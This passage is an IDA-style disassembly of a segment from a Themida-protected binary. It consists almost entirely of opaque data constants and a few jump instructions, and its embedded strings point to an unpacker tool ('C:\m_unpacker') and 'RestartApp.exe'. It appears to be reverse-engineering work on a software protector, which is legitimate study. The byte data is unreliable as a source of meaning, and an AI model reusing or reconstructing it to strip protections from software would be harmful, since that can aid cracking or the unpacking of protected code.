		dd 0E091CE3Eh, 10A23Dh,	0C78C3BC0h, 41231798h, 9FA80A00h
		dd 1C48619Dh, 0E962619Eh, 4964C010h, 4D20DE98h,	1ED02DC7h
		dd 4214C3h, 6BC56C39h, 0B403FACCh, 218527AEh, 4F390069h
		dd 511943Bh, 130162F2h,	22B6FFAFh, 0C5F882F7h, 87F301BEh
		dd 2F4D85DFh, 0B5D88271h, 403D0CCBh, 1353A598h,	25D4385Bh
		dd 2EC40524h, 0F00800B6h, 180A5C46h, 0BE58E13Fh, 1516826Ch
		dd 0A0265F32h, 596D4784h, 353704B9h, 80481996h,	0D7C224E4h
		dd 26EE3900h, 0BFF9A053h, 6BD500E8h, 0CCA6CE86h, 2160B6D0h
		dd 8999EA69h, 5E690083h, 447D4D7Bh, 8800BCC3h, 9547B5E7h
		dd 1881DE96h, 10BBD849h, 43E074DAh, 87865702h, 0C011C253h
		dd 2485365Ah, 4120991Ch, 504EAA10h, 0E8064698h,	93082D63h
		dd 20C1292Fh, 0A42100A8h, 7BB14E5Ah, 0CF4A7300h, 0C0DCABFAh
		dd 162B0002h, 0E3CC0F98h, 4E480A80h, 0F56500C0h, 68C1CE5Dh
		dd 25EF0C2Fh, 7B593A5Fh, 5446A00h, 566C9E70h, 0D51400EAh
		dd 3E67D4E6h, 28016B54h, 5B168739h, 0B030ACFCh,	0B5CCA0C5h
		dd 22351843h, 3E25991Ch, 4AFF5C0Fh, 5AD60F4h, 0A34503h
		dd 0F0C898C2h, 0B191F113h, 58888D01h, 42690822h, 6DC2B441h
		dd 0D4D82FC9h, 702E6315h, 5E89D091h, 4BA98134h,	925B6CC3h
		dd 5A4DFB40h, 0BB9A00F7h, 0AE069E2Bh, 5202908Ah, 22311048h
		dd 2944C87h, 0E12B94BAh, 8443F75h, 0AC7B9501h, 52459779h
		dd 0F594D840h, 46E63B86h, 4D80DC58h, 0B80C3C16h, 0FF12F400h
		dd 95352BDDh, 2CF00678h, 512A9022h, 0B87FC230h,	7B9A502h
		dd 0B08C37A6h, 7A214C5Eh, 414CE200h, 4D6C662Dh,	2E94005Bh
		dd 842FA297h, 64EE0D1Fh, 300026B8h, 7712CD39h, 5421A6F6h
		dd 9BFB063h, 0F5CBA399h, 408C3207h, 0B6C80EA1h,	501249h
		dd 97D68AFDh, 51140Ah, 928672F7h, 0D2E2758Dh, 4640B300h
		dd 0A75391ACh, 504EE631h, 1B505Fh, 80DDB645h, 0E5627C61h
		dd 9AB0894Eh, 11F80787h, 613C5EEEh, 63086609h, 3DE03D58h
		dd 0D93000A8h, 7361042Bh, 0C07CFBh, 0E9141178h,	0F1417787h
		dd 2C768E01h, 0BE222533h, 2EFC9C49h, 90FE64Ch, 62FCF7A3h
		dd 522CCC01h, 8FF42066h, 1224898h, 70A52227h, 6B722h, 0A0141364h
		dd 0CAC57B65h, 0FB6EFD00h, 2A3A8C03h, 7098385Ch, 0AD31F504h
		dd 19ACC820h, 25B7B07h,	0A4D0A041h, 4877355Dh, 5607D010h
		dd 49AB469Dh, 0A1C97800h, 53B8ACBBh, 0B98ECC91h, 75027F5h
		dd 1CF89D40h, 0FCDC5069h, 0EFC13AC8h, 4070E118h, 0A7341175h
		dd 0F4803959h, 308EED8h, 1ACFA662h, 0E1003BBEh,	42F6088h
		dd 0C061217Bh, 6DD00931h, 0A4002032h, 0BA4F520Dh, 292F89ACh
		dd 12A49D22h, 0B8480A75h, 154C5ACh, 81C54EDEh, 37FC7024h
		dd 1940E0E2h, 0CE33004Fh, 5F13FF14h, 634825DAh,	51440584h
		dd 0C41FCCE8h, 80EB3A8Bh, 0AB2F1AE4h, 5DBB09A7h, 0B010B821h
		dd 4507F4F0h, 75CF647Dh, 0F97080BBh, 3284B7C1h,	1E70A402h
		dd 4C305621h, 0F6005823h, 6446EC10h, 0DF008681h, 0FFE8E2BCh
		dd 5FC6B29h, 0C2163CEDh, 0F7A88CACh, 0B7C9B61Dh, 6D9C7740h
		dd 0E2A809C4h, 48A900DFh, 6BE72BEEh, 5E004119h,	0CB759287h
		dd 0C5F5665h, 14BC2468h, 1D777F49h, 44C87200h, 0DA9CA025h
		dd 31EB00D5h, 0D7C14A9Eh, 6B0430E1h, 48CBE09Bh,	491478C7h
		dd 25572082h, 583BC0F9h, 61024ABDh, 0C5711CEAh,	2CE687h
		dd 0DDF554C8h
		dd 0E499DC6Ah, 0B5CB3E00h, 68938E1Dh, 0E98C05BEh, 0C88A1CC9h
		dd 0C600F174h, 6FC0AEE0h, 1E64CBA1h, 8072352Ch,	19BFCF29h
		dd 6B885A20h, 32F100CDh, 8E87D7C4h, 3813DA35h, 44004A0Ch
		dd 0F478221Eh, 44A090ADh, 7F182906h, 0B8D0AAE0h, 218E110Bh
		dd 113D0955h, 0D9EF03F5h, 0A0C88C3Fh, 96D73B32h, 9C99ECBCh
		dd 23C9E8F4h, 22A00384h, 0D1BA989Bh, 39943887h,	0A700101Fh
		dd 89D21C79h, 0B099795h, 0A0AC214Ah, 0E15E7BFCh, 3E3F37AFh
		dd 0E15A039h, 6E007764h, 0A8EC813Dh, 98C6B509h,	8EE8061Ch
		dd 0D10ABC2Fh, 85759A00h, 8DF03981h, 1E2904EEh,	809BB911h
		dd 2B9949E7h, 0EFC0F5Ch, 4C535ED6h, 0E66941h, 7CE5FB9Fh
		dd 11A7C09Eh, 384A252Ch, 0C0802363h, 0CCDBCh, 0B0F239A3h
		dd 112D9855h, 0F1A4891Dh, 87ACEB80h, 0C016BC27h, 0BB250591h
		dd 7100FF9Eh, 0F25A5761h, 41E7002h, 9DB2A726h, 0C9C4821Ah
		dd 120090E6h, 0F5163F2h, 0E21CA647h, 0DF320FCEh, 6C0258FDh
		dd 0C0603348h, 9C9921B0h, 855DC280h, 1FA7A9F8h,	0E110964h
		dd 0E142576Fh, 0B080A177h, 0B6C62875h, 1481F49h, 0F892F16Dh
		dd 0EB5E5Ah, 0CB3DDA49h, 53CF07CAh, 0FA67EE06h,	4407092h
		dd 2E4090E3h, 0FDB4B0F6h, 0E7F223Eh, 80B549C5h,	5C29D2CAh
		dd 4038964Ch, 0D996C89Ah, 10E59700h, 1D60F371h,	4C3AE085h
		dd 0E8497103h, 2E6FF480h, 7E02CCF5h, 3E0E3A75h,	3C5882E2h
		dd 5624E0C0h, 3C6748C4h, 0FEEF0D01h, 0D8D74572h, 204C5703h
		dd 0E2C28094h, 0EA234E8Fh, 0C5601D4h, 19F2D8A6h, 300BC5A0h
		dd 0CC012D68h, 309C5347h, 8C229F1Ch, 888A2E12h,	587E3170h
		dd 3006B71h, 947F1FC3h,	780C0E8Dh, 877B0076h, 6357EE95h
		dd 0B730D052h, 0D9243908h, 0E2110030h, 76A104AEh, 56672154h
		dd 0A010B0A1h, 7075250h, 0F6F8E8B2h, 828FD487h,	20C0AEEDh
		dd 0E33037C6h, 0A6AF51B4h, 80989973h, 0A7CBDE49h, 1290137Eh
		dd 0FBBE1600h, 0CD4770B3h, 0BD35011Bh, 2548A7Ah, 0FE984289h
		dd 0DA00A471h, 0AEC94DCFh, 0F78E00A6h, 1F37CBD1h, 90926079h
		dd 0F1D85100h, 0F38759C0h, 0ABFFED0h, 99B1C68h,	8090A994h
		dd 6731E62Ah, 5C00DAACh, 9D3B9A2Fh, 136D0ADh, 0A5D22375h
		dd 2D2155A9h, 2F1D00CCh, 4C709EC3h, 7C560184h, 7F8ECDB7h
		dd 0A830204Bh, 82B88839h, 374857A5h, 0EF8519Dh,	6FA002C0h
		dd 1DD5385Ah, 587019C1h, 0A8703516h, 1CC5254h, 60FBFFFFh
		dd 0
		db 0
; ---------------------------------------------------------------------------


loc_583441:				; CODE XREF: Themida_:loc_515265j
					; DATA XREF: Themida_:loc_515086o
		jmp	loc_58698A
; ---------------------------------------------------------------------------
		dw 838Bh
		dd 7DD7h, 12h dup(0)
		dd 0EB940000h, 5FC77C90h, 1138h, 0EB940000h, 7C90h, 0
		dd 0BC170000h, 0FFFEh, 8EE40000h, 0B1h,	0FFFF0000h, 0FFF6h
		dd 0
		dd 0FFB00000h, 1D2h, 2 dup(0)
		dd 0EB940000h, 7C90h, 7	dup(0)
		dd 0C00000h, 6 dup(0)
		dd 48770000h, 3876h, 2 dup(0)
		dd 0B8910000h, 0DC20h, 0
		dd 8D8D0000h, 66FDh, 577D0000h,	0BAh, 0
		dd 0DFD20000h, 60h, 2 dup(0)
		dd 4F2E0000h, 5Ch, 10000h, 4 dup(0)
		dd 78280000h, 5Fh, 2 dup(0)
		dd 0A2400000h, 146CFFFFh, 836Fh, 3 dup(0)
		dd 0F4AE0000h, 0FFA3h, 9F350000h, 92555139h, 5Fh, 0ED9A0000h
		dd 5Bh,	3 dup(0)
		dd 30930000h, 0B19Dh, 3	dup(0)
		dd 2EC0000h, 0ABE90000h, 0FF45h, 230000h, 58h, 290000h
		dd 2 dup(0)
		dd 625E0000h, 53B1h, 0
		dd 4FE60000h, 0E892h, 5	dup(0)
		dd 53AA0000h, 843Ah, 0
		dd 0A3D40000h, 0AFCBh, 4 dup(0)
		dd 0A210026Dh, 3442h, 0BA750000h, 79E07A1h, 0FFFFh, 4B140000h
		dd 7C71h, 27h dup(0)
		dd 64B90000h, 837Fh, 2 dup(0)
		dd 42FD0000h, 0ED9A005Fh, 5Bh, 0D8DE0000h, 5Ch,	2 dup(0)
		dd 57D50000h, 3F0F7ED3h, 0B7h, 2 dup(0)
		dd 0D60D0000h, 8559h, 3	dup(0)
		dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 7Ch dup(0)
		dd 7D080000h, 5Bh, 0A8837E41h, 0FF45h, 9D730000h, 557Ch
		dd 4 dup(0)
		dd 10000h, 3 dup(0)
		dd 0CA3E0000h, 69A9h, 2	dup(0)
		dd 0FFFF0000h, 0FFFFh, 577D0000h, 0BAh,	96A0000h, 5Bh
		dd 0C8680000h, 5Ch, 0
		dd 4E6E0000h, 58h, 0D6A0000h, 5Bh, 0
		dd 0B80000h, 0B000000h,	0C20374C0h, 448B0018h, 0E8530C24h
		dd 0
; ---------------------------------------------------------------------------
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0B1FA37h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 12h dup(0)
		dd 942E0000h, 5Ch, 3 dup(0)
		dd 6F100000h, 25Ch, 253h, 8 dup(0)
		dd 0EB900000h, 8 dup(0)
		dd 180F0000h, 0B1h, 0E2900000h,	0A944h,	2 dup(0)
		dd 0F39A0000h, 6 dup(0)
		dd 56430000h, 10h dup(0)
		dd 30DF0000h, 0A9C5h, 0
		dd 28780000h, 0B4h, 6 dup(0)
		dd 7D10000h, 0D9000000h, 1702h,	0Ah dup(0)
		dd 22C60000h, 5Ch, 0Bh dup(0)
		dd 0F7090000h, 0FFBBh, 4 dup(0)
		dd 91BB0000h, 17Fh, 3 dup(0)
		dd 0BDDF0000h, 66FDh, 4	dup(0)
		dd 6EB20000h, 0E81B005Bh, 0EB947D42h, 65527C90h, 72617473h
		dd 70704174h, 6578652Eh, 56510000h, 2 dup(0)
		dd 26Dh, 3 dup(0)
		dd 0BA750000h, 7A1h, 6 dup(0)
		dd 0C41B0000h, 77DFh, 3D5F0000h, 5Eh, 5	dup(0)
		dd 2CFA0000h, 0BE04h, 2D8A0000h, 5Fh, 0E7700000h, 7A5Fh
		dd 0
		dd 0F0000000h, 21h, 11h	dup(0)
		dd 7C80h, 2 dup(0)
		dd 0CFE20000h, 0FE9Dh, 3 dup(0)
		dd 11DA0000h, 7C81h, 30440000h,	67h dup(0)
		dd 0DCE80000h, 0AEA1DDAEh, 0B1h, 8 dup(0)
		dd 0FA030000h, 0B1h, 3 dup(0)
		dd 0EB940000h, 7C90h, 3	dup(0)
		dd 0A63C76B4h, 0B5D6005Dh, 4 dup(0)
		dd 93FE0000h, 23FFFFh, 75B50058h, 2 dup(0)
		dd 87230000h, 0B1h, 77DDh, 4 dup(0)
		dd 0F9C0000h, 40000h, 56430000h, 0
		dd 0B6C80000h, 60h, 0FFFF0000h,	0FFFFh,	0
		dd 230000h, 5Ch, 3 dup(0)
		dd 342D0000h, 0C1h, 0Dh	dup(0)
		dd 14F40000h, 8E517C82h, 0B1h, 4 dup(0)
		dd 0CBD30000h, 0FF3Eh, 9 dup(0)
		dd 6E0F0000h, 25Ch, 0
		dd 230000h, 58h, 0F0000000h, 4,	2Bh dup(0)
		dd 0DA440000h, 4 dup(0)
		dd 13970000h, 0EA61h, 4	dup(0)
		dd 58090000h, 5Fh, 0F1130000h, 52B1h, 0
		dd 16010000h, 87F4h, 4 dup(0)
		dd 0BD620000h, 0C01Dh, 1A400000h, 0B1h,	3 dup(0)
		dd 0B520000h, 5Ch, 0B4CF0000h, 7C80h, 0DA440000h, 0C246h
		dd 2 dup(0)
		dd 0F9200000h, 7CEDh, 0
		dd 7C0000h, 230000h, 58h, 0
		dd 0EB940000h, 7C90h, 0
		dd 62DF0000h, 6B40000h,	8 dup(0)
		dd 0B4FE0000h, 339A748Dh, 5Fh, 24900000h, 8 dup(0)
		dd 0D9750000h, 771Fh, 5	dup(0)
		dd 0DFE40000h, 0A8ADFFA3h, 35CA7E41h, 0FFA3h, 5	dup(0)
		dd 94E70000h, 5B2Ch, 6 dup(0)
		dd 0EAA20000h, 5Dh, 10000h, 0
		dd 35C50000h, 0E72FFA3h, 5Bh, 8D8D0000h, 85EDh,	49E00000h
		dd 5Fh,	0
		dd 57520000h, 0C96A005Bh, 60h, 6 dup(0)
		dd 342D0000h, 0C1h, 2 dup(0)
		dd 9Fh,	0
		dd 0A00000h, 3 dup(0)
		dd 0EB940000h, 7C90h, 0
		dd 0FFFF0000h, 0FFE00000h, 12h,	52C90000h, 61h,	577D0000h
		dd 0BAh, 0B4F10000h, 0EB38005Fh, 5Dh, 2	dup(0)
		dd 0CDDA0000h, 7C81h, 34C20000h, 5Fh, 5	dup(0)
		dd 0A1260000h, 5Bh, 0
		dd 0A40000h, 0EB940000h, 7C90h,	2 dup(0)
		dd 0D59C0000h, 0F3B1h, 31E50000h, 0B7h,	0Dh dup(0)
		dd 56430000h, 8	dup(0)
		dd 0FE800000h, 12h, 1A440000h, 0EB9400B1h, 7C90h, 0Ah dup(0)
		dd 630A0000h, 0F2h, 1A240000h, 7C80h, 7	dup(0)
		dd 0FF7D0000h, 7E1h, 6 dup(0)
		dd 10000h, 8 dup(0)
		dd 0EB940000h, 18420012h, 0B1h,	0Ah dup(0)
		dd 190000h, 4 dup(0)
		dd 0EB940000h, 0B8177C90h, 0FFFFh, 2 dup(0)
		dd 5190000h, 43BBh, 6E00000h, 0A14E8312h, 5Bh, 3 dup(0)
		dd 577D0000h, 0BAh, 18A37C80h, 2335h, 1A400000h, 4E5B00B1h
		dd 76B4h, 2 dup(0)
		dd 0FA370000h, 0B1h, 2 dup(0)
		dd 81C30000h, 1FEDh, 2 dup(0)
		dd 0FE7C0000h, 12h, 3 dup(0)
		dd 15100000h, 76F2h, 5 dup(0)
		dd 180F0000h, 0B1h, 3 dup(0)
		dd 4DF00000h, 961Fh, 3 dup(0)
		dd 880000h, 5 dup(0)
		dd 0A390000h, 0FFBFh, 50140000h, 11h, 0A1h, 8 dup(0)
		dd 577D0000h, 0BAh, 0EB940000h,	0F87C90h, 0B7h,	4 dup(0)
		dd 10000h, 0F3E40000h, 0DDBAh, 2 dup(0)
		dd 0A1h, 4 dup(0)
		dd 57A20000h, 0AC2505h,	2A09FFEDh, 7C81h, 9Bh dup(0)
		dd 0FA030000h, 0B1h, 2 dup(0)
		dd 9DA20000h, 83AC4Eh, 0F81Eh, 0
		dd 5FD0000h, 0FF4Eh, 342D0000h,	0C1h, 3	dup(0)
		dd 77760000h, 0FF7D0058h, 62DF07E1h, 2 dup(0)
		dd 0EB940000h, 56C7C90h, 0FE96h, 4 dup(0)
		dd 40h,	2 dup(0)
		dd 0EB6A0000h, 0CCD0FF45h, 3FC0h, 0
		dd 8D8D0000h, 0CE66FDh,	6 dup(0)
		dd 91780000h, 0B6h, 3 dup(0)
		dd 14900000h, 51E0h, 3 dup(0)
		dd 1840000h, 0FFEDh, 3 dup(0)
		dd 0AFE80000h, 5Fh, 0
		dd 2D390000h, 3403h, 620000h, 0
		dd 9EA50000h, 5Bh, 0
		dd 3700000h, 0DA390000h, 7 dup(0)
		dd 0BAED0000h, 0B755h, 3 dup(0)
		dd 6900000h, 1080h, 0
		dd 7170000h, 0FE95h, 6 dup(0)
		dd 3683026Fh, 24E8h, 0ED9A0000h, 5Bh, 3	dup(0)
		dd 21210000h, 2121h, 5 dup(0)
		dd 146C0000h, 836Fh, 0
		dd 577D0000h, 0BAh, 5 dup(0)
		dd 7E10000h, 3D170060h,	0E840058h, 2 dup(0)
		dd 4B80000h, 21EDCDA3h,	5Fh, 0
		dd 577D0000h, 0BAh, 3 dup(0)
		dd 0AFD90000h, 0ACCD43FFh, 0C31h, 0
		dd 8D8D0000h, 24ADh, 0
		dd 180F0000h, 0B1h, 0A8AD0000h,	5CE77E41h, 0
		dd 0CBD30000h, 78FFFFh,	0
		dd 2C0000h, 253h, 0A2630000h, 0C9F40EB7h, 5Eh, 6 dup(0)
		dd 700000h, 0
		dd 6C5B0000h, 0E7076F3h, 64B0005Dh, 0
		dd 0EB940000h, 7C90h, 2	dup(0)
		dd 5DFC0000h, 9FE2h, 3E0000h, 0B1h, 0
		dd 30440000h, 680000h, 0
		dd 0F7DB0000h, 0D5D351E5h, 897Ah, 0
		dd 65950000h, 0F82h, 4 dup(0)
		dd 577D0000h, 0BAh, 4 dup(0)
		dd 3C0000h, 7C80h, 0EB940000h, 7C90h, 3	dup(0)
		dd 97EE0000h, 14AEh, 0Ah dup(0)
		dd 230Eh, 26Ch,	2 dup(0)
		dd 68E40000h, 94172A22h, 0B1h, 5 dup(0)
		dd 0E1930000h, 7124h, 4	dup(0)
		dd 180F0000h, 3D1600B1h, 58h, 0C6750000h, 5Dh, 0
		dd 0B520000h, 5Ch, 0
		dd 1D660000h, 0B18Dh, 2	dup(0)
		dd 486A0000h, 23C6h, 3 dup(0)
		dd 0B7E90000h, 10h, 0FF7D0000h,	7E1h, 0
		dd 10000h, 0EB940000h, 7C90h, 2	dup(0)
		dd 92B00000h, 0FFFFh, 3	dup(0)
		dd 17ED0000h, 0BA1742B5h, 0FFFFh, 28D90000h, 1A7Ch, 0
		dd 9E600000h, 180E7C80h, 9BBD7C80h, 5Dh, 2 dup(0)
		dd 0FA260000h, 6607h, 0
		dd 0E8140000h, 5Ch, 0AA480000h,	0F3E6h,	0CA3E0000h, 0C4E169A9h
		dd 0F1F4h, 3 dup(0)
		dd 40000h, 0C43B0000h, 4618h, 2	dup(0)
		dd 4AF20000h, 0BD227C81h, 0FFA7h, 2 dup(0)
		dd 8010000h, 8B0D840Fh,	0B4h, 3	dup(0)
		dd 0B5D60000h, 10000h, 772A0000h, 82B6h, 0B8h dup(0)
		dd 0FF170000h, 0FFFBh, 3 dup(0)
		dd 9F350000h, 5139h, 0B5EF0000h, 0B5EEE62Fh, 0F566h, 3 dup(0)
		dd 0EB940000h, 7C90h, 0FFFF0000h, 0FFFFh, 40760000h, 710h
		dd 0B6380000h, 9937h, 2	dup(0)
		dd 35DA0000h, 58h, 7 dup(0)
		dd 0EB940000h, 20007C90h, 11h, 2 dup(0)
		dd 39580000h, 77Bh, 0
		dd 0CF310000h, 0EB19h, 2 dup(0)
		dd 0B5080000h, 0B1h, 3 dup(0)
		dd 4BA80000h, 14h, 0B520000h, 1CF7005Ch, 2300B4h, 0EB940058h
		dd 0B06D7C90h, 5Bh, 3 dup(0)
		dd 0A9510000h, 0F1E17CA5h, 60h,	2 dup(0)
		dd 0DDF90000h, 7C90h, 0
		dd 200A0000h, 5Dh, 55BE0000h, 2	dup(0)
		dd 230000h, 58h, 2 dup(0)
		dd 6F100000h, 25Ch, 0
		dd 0B520000h, 5Ch, 2D3F0000h, 830Eh, 9F260000h,	7347h
		dd 11h dup(0)
		dd 2130000h, 6DD400B7h,	25Ch, 0
		dd 5ADF0000h, 1E69546Bh, 0B7h, 4 dup(0)
		dd 6E4A0000h, 9	dup(0)
		dd 0FFF00000h, 180F0012h, 0B1h,	4 dup(0)
		dd 20E60000h, 5Fh, 73730000h, 58h, 0F50C0000h, 0FFA3h
		dd 6 dup(0)
		dd 26Eh, 230000h, 0BEFF0000h, 3	dup(0)
		dd 0EF260000h, 0A5C400B8h, 0FFF6h, 2 dup(0)
		dd 59740000h, 8655h, 4 dup(0)
		dd 230000h, 58h, 0
		dd 0EB940000h, 7C90h, 4	dup(0)
		dd 0C7710000h, 76CFh, 2	dup(0)
		dd 9C0000h, 2D390000h, 3403h, 3	dup(0)
		dd 216B0000h, 668Fh, 12h dup(0)
		dd 0F8900000h, 5Ch, 0
		dd 78830000h, 0D43577DDh, 0C9ABh, 4C890000h, 0C993h, 0
		align 8
		dd 0A7h, 0
		dd 0B57A0000h, 3F93h, 838B00C1h, 0DAF47DD7h, 1DA8h, 0FFFF0000h
		dd 6DF3h, 3 dup(0)
		dd 0B66E0000h, 7F3Fh, 30DF0000h, 0A9C5h, 2C4E0000h, 4B94h
		dd 97860000h, 9BBh, 2 dup(0)
		dd 0EB940000h, 7C90h, 5	dup(0)
		dd 4FE60000h, 6854E892h, 64696D65h, 61h, 1Bh dup(0)
		dd 30DF0000h, 0A9C5h, 99200000h, 5Fh, 0EBE70000h, 0C47E77DDh
		dd 15EDh, 0Eh dup(0)
		dd 6B40000h, 5 dup(0)
		dd 0A770000h, 7C81h, 3 dup(0)
		dd 0B23000B1h, 0FDECh, 2 dup(0)
		dd 5D740000h, 0FFFFh, 7	dup(0)
		dd 0F4F50000h, 0E959h, 0Ch dup(0)
		dd 0EB940000h, 7C90h, 0Dh dup(0)
		dd 577D0000h, 91EC00BAh, 90FFFFh, 0
		dd 10000h, 3 dup(0)
		dd 6E0F0000h, 9CF6025Ch, 0FF0Dh, 0
		dd 0FF540000h, 12h, 2 dup(0)
		dd 342D0000h, 0C1h, 7 dup(0)
		dd 0DA440000h, 35DAC246h, 9B470058h, 7C80h, 0
		dd 45D20000h, 0FFA1h, 3	dup(0)
		dd offset dword_4E8EAC+17154h
		dd 0FE6Dh, 0
		dd 20000000h, 2	dup(0)
		dd 0D31F0000h, 0EB940000h, 7C90h, 7 dup(0)
		dd 4FE60000h, 0C070h, 4	dup(0)
		dd 6EF00000h, 25Ch, 9 dup(0)
		dd 88400000h, 0A5CBh, 0FCAD24ADh, 0B3h,	7 dup(0)
		dd 0A6h, 2 dup(0)
		dd 9B3E0000h, 5Dh, 0EB940000h, 7C90h, 0
		dd 180F0000h, 0B1h, 0DA230000h,	76EFh, 2 dup(0)
		dd 10000000h, 40h, 0
		dd 2CCE0000h, 4B94h, 0Bh dup(0)
		dd 0ED00000h, 0B1h, 5 dup(0)
		dd 1050000h, 0A28h, 86460000h, 0CFB2h, 6D330000h, 5Bh
		dd 4 dup(0)
		dd 577D0000h, 0BAh, 6BF00000h, 77DDh, 4	dup(0)
		dd 61180000h, 5Ch, 0
		dd 22C60000h, 5Ch, 0Ch dup(0)
		dd 5B710000h, 10AFh, 49B00000h,	0FF9Fh,	0
		dd 146C0000h, 836Fh, 3 dup(0)
		dd 0C680000h, 0F489h, 0Ah dup(0)
		dd 375C0000h, 0CCF80017h, 5Fh, 3 dup(0)
		dd 65C60000h, 6143h, 2 dup(0)
		dd 0FB060000h, 0FFA4414Fh, 56DE0012h, 0EDE5005Ch, 77DDh
		dd 3 dup(0)
		dd 980000h, 4 dup(0)
		dd 30000000h, 51h, 0Ch dup(0)
		dd 0EB940000h, 7C90h, 0DA440000h, 6C2AC246h, 558BBA28h
		dd 5Fh,	3 dup(0)
		dd 0AAA10000h, 0B1h, 0
		dd 0EB940000h, 7C90h, 5	dup(0)
		dd 0E2020000h, 158Bh, 77000000h, 0
		dd 8FAC0000h, 0FFFFh, 9	dup(0)
		dd 0BB4E0000h, 80005Ch,	8 dup(0)
		dd 6F230000h, 58h, 0Dh dup(0)
		dd 30DF0000h, 1A9C5h, 7	dup(0)
		dd 0EA280000h, 5Ch, 7 dup(0)
		dd 28D80000h, 6DEh, 3F580000h, 342D7C86h, 8 dup(0)
		dd 0EE5A0000h, 0DCE977DDh, 4 dup(0)
		dd 306C0000h, 0Dh, 8D8D0000h, 0FFFF005Fh, 0FFFFh, 41330000h
		dd 1A63h, 0
		dd 0AC0000h, 0FFEDh, 0A8700000h, 5Fh, 0Bh dup(0)
		dd 36290000h, 0CC39h, 0
		dd 41810000h, 929Bh, 0
		dd 0DCE90000h, 3 dup(0)
		dd 834F0000h, 0DCE9h, 2	dup(0)
		dd 261C0000h, 6	dup(0)
		dd 35ED0000h, 0FFE3h, 8	dup(0)
		dd 577D0000h, 0BAh, 0
		dd 25FD0000h, 6	dup(0)
		dd 24930000h, 0B2h, 5 dup(0)
		dd 180F0000h, 0B1h, 6 dup(0)
		dd 9C3E0000h, 8B32005Dh, 0B4h, 4 dup(0)
		dd 29180000h, 0B1h, 0D5570000h,	1E68h, 0FFB00000h, 180E0222h
		dd 7C80h, 2 dup(0)
		dd 0B350000h, 1210h, 6 dup(0)
		dd 79770000h, 146C0001h, 836Fh,	0
		dd 0B520000h, 5Ch, 0
		dd 3E0000h, 0B1h, 4 dup(0)
		dd 37EC0000h, 0B1h, 4 dup(0)
		dd 0FFFF0000h, 0FFFFh, 0
		dd 1A440000h, 0B1h, 1FF70000h, 0F936005Ch, 0B610h, 3 dup(0)
		dd 1D770000h, 7C80h, 0FFB00000h, 992001F2h, 5Fh, 2 dup(0)
		dd 0ADA00000h, 7C80h, 7	dup(0)
		dd 0ABDE0000h, 180F7C80h, 0B1h,	0
		dd 0FB200000h, 9E401AD9h, 6DF48420h, 1920025Ch,	0B1h, 1Ch dup(0)
		dd 940000h, 5 dup(0)
		dd 0A0FE0000h, 5Bh, 0
		dd 30DF0000h, 0A9C5h, 0
		dd 180F0000h, 0B1h, 3 dup(0)
		dd 11110000h, 1111h, 4 dup(0)
		dd 35180000h, 0
		dd 0A8CF0000h, 104400B1h, 30h, 2 dup(0)
		dd 0B79A0000h, 6 dup(0)
		dd 89C90000h, 2966h, 4 dup(0)
		dd 5CE70000h, 5	dup(0)
		dd 1A440000h, 9F0300B1h, 7C90h,	180F0000h, 0B1h, 4 dup(0)
		dd 37D50000h, 3, 0
		dd 2800000h, 16F80000h,	3F0Dh, 7 dup(0)
		dd 8B280000h, 0B1h, 0EB940000h,	7C90h, 3 dup(0)
		dd 88380000h, 0FFA1h, 0FFFD0000h, 0B2FFh, 8E510000h, 0B1h
		dd 0EB940000h, 7C90h, 4	dup(0)
		dd 40000h, 3 dup(0)
		dd 0EB940000h, 7C90h, 22220000h, 22222222h, 2222h, 0Ah dup(0)
		dd 0E0090000h, 0FFA3h, 0CDDA0000h, 5A0C7C81h, 1FFF4AF0h
		dd 2130000h, 0B7h, 0
		db 90h
		db 7Ch,	2 dup(0)
		dd 8 dup(0)
		dd 0F9FC0000h, 7FF900A9h, 7FD3h, 0Ah dup(0)
		dd 21B50000h, 0ADD9h, 40C10000h, 7DD0h,	4 dup(0)
		dd 4F540000h, 11h, 0
		dd 0FFFF0000h, 0F970FFFFh, 0EF7Bh, 0
		dd 0EFF0000h, 753Ah, 7 dup(0)
		dd 12660000h, 0FFA4h, 0B0000000h, 2, 0A040000h,	5Bh, 0
		dd 0ABC10000h, 5Ch, 9 dup(0)
		dd 0FE800000h, 12h, 3 dup(0)
		dd 0D1D2009Fh, 5Eh, 0EBFB0000h,	36h, 0
		dd 39D20000h, 58h, 5 dup(0)
		dd 10000h, 640000h, 0ADE70000h,	2 dup(0)
		dd 0A00000h, 2 dup(0)
		dd 34410000h, 0F85Eh, 3	dup(0)
		dd 328B0000h, 3EEEh, 27E20000h,	0E27DFFB3h, 7E1h, 4 dup(0)
		dd 24240000h, 2424h, 10000h, 0
		dd 0C8C0000h, 5Ch, 3 dup(0)
		dd 2130000h, 0B7h, 3 dup(0)
		dd 5D6E0000h, 110DCh, 0F9200000h, 7CEDh, 87D80000h, 61B7FFA0h
		dd 19h dup(0)
		dd 0FA030000h, 0B1h, 5 dup(0)
		dd 0DC0000h, 5 dup(0)
		dd 7F5D0000h, 3259h, 0A2800000h, 2 dup(0)
		dd 10000h, 4 dup(0)
		dd 8C0000h, 0CB070000h,	91C5h, 0FFFF0000h, 0FFFFh, 6DD40000h
		dd 0EBC1025Ch, 3333005Bh, 2 dup(33333333h), 3333h, 3 dup(0)
		dd 146C0000h, 836Fh, 0
		dd 0FFC40000h, 27E20012h, 0FFB3h, 54170000h, 0EB0100BAh
		dd 13F2Bh, 0AD160000h, 0BA1C05E4h, 5Fh,	5 dup(0)
		dd 0C2E0000h, 4	dup(0)
		dd 230000h, 5Dh, 4 dup(0)
		dd 17900000h, 0E81476F2h, 5Ch, 2 dup(0)
		dd 3E0000h, 0B1h, 0Bh dup(0)
		dd 0EB940000h, 0A257C90h, 0FF7D00B1h, 737307E1h, 58h, 2	dup(0)
		dd 0EAFF0000h, 5Dh, 8 dup(0)
		dd 94170000h, 0B1h, 840000h, 0
		dd 0B5080000h, 0B1h, 4 dup(0)
		dd 10440000h, 30h, 6 dup(0)
		dd 76D50000h, 0B4AD1DF9h, 57B31E28h, 5697h, 2 dup(0)
		dd 0EFBF0000h, 5Bh, 0Bh	dup(0)
		dd 0D3AB0000h, 4070005Bh, 5Fh, 39D20000h, 58h, 4 dup(0)
		dd 6C0000h, 0
		dd 0B5D60000h, 2 dup(0)
		dd 0DEDD0000h, 2000F0FFh, 3 dup(0)
		dd 4A5D0000h, 3DDFh, 0
